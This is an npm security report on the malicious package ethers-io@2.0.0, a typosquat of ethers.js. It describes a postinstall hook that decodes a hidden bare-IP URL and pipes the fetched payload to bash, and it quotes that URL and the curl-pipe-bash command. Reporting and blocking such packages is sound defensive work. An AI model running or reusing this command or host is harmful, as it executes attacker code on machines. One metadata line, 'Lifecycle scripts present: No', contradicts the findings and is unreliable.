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canonical: "https://firewall.lpm.dev/npm/ethers-io"
markdown: "https://firewall.lpm.dev/npm/ethers-io/report.md"
package: "ethers-io"
report_status: "published"
title: "ethers-io@2.0.0 npm security report"
verdict: "malicious"
version: "2.0.0"
---

# ethers-io@2.0.0 npm security report

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## Verdict summary
**Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-3708 identifies this version as malicious and supplies the Firewall block.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Trusted malware advisory block
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 2.0.0
- **Selected version is latest:** Yes
- **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV malware advisory MAL-2026-3708 identifies this version as malicious and supplies the Firewall block.

OpenSSF/OSV advisory MAL-2026-3708 confirms this npm version as malicious. The package's \`package.json\` declares a \`postinstall\` script that base64-decodes a hidden URL (\`http://8.217.75.147:3000/payload\`) and pipes the HTTP response directly to \`bash\` via \`curl -s \<url\> | bash\`...

## Latest scan
- **Scanner version:** external-osv-malicious-v1
- **Recorded final verdict:** Malicious
- **Recorded analysis confidence:** 100.0%
- **Started:** 2026-06-30T15:00:00.099Z
- **Finished:** 2026-06-30T15:00:00.099Z
- **Download time:** Not available
- **Static scan time:** Not available
- **AI review time:** Not available
- **Total time:** Not available

The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs.

## Security analysis

No additional public attack-surface or AI-review details are available.

## Affected versions and remediation

This report applies to ethers-io@2.0.0.

The same advisory and Firewall decision cover these 2 recorded versions: 1.0.0, 2.0.0.

- Avoid installing ethers-io@2.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

## Public findings

### 1. High: Osv Malicious Advisory
- **Category:** External Intel
- **Confidence:** 100.0%

The package's \`package.json\` declares a \`postinstall\` script that base64-decodes a hidden URL (\`http://8.217.75.147:3000/payload\`) and pipes the HTTP response directly to \`bash\` via \`curl -s \<url\> | bash\`. On every \`npm install\`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name \`ethers-io\` and its stated purpose as "I/O utilities for ethers.js" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at \`github.com/ethers-utils/ethers-io\` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.

\#\# Source: ossf-package-analysis (096fee7452967418fa149986d5ef661f3292d844524b58d3c3ca2b2e1b8cffc0) The OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.

## Dependencies and install lifecycle
- **Lifecycle scripts present:** No

- **Dependencies:** 0
- **Optional dependencies:** 0
- **Peer dependencies:** 0
- **Development dependencies:** 0
- **Published dependency-graph edges:** 0

## Package metadata
- **Package:** ethers-io
- **Ecosystem:** npm
- **Version:** 2.0.0
- **Version published:** Not available
- **Package first seen:** 2026-06-30T15:00:00.099Z
- **Package last seen:** 2026-06-30T15:00:00.099Z
- **Known versions:** 2
- **Latest version:** 2.0.0
- **Appeal under review:** No

## References
- [HTML security report](<https://firewall.lpm.dev/npm/ethers-io>)
- [OpenSSF/OSV advisory](<https://osv.dev/vulnerability/MAL-2026-3708>)
- [PACKAGE](<https://www.npmjs.com/package/ethers-io/v/2.0.0>)
- [PACKAGE](<https://www.npmjs.com/package/ethers-io/v/1.0.0>)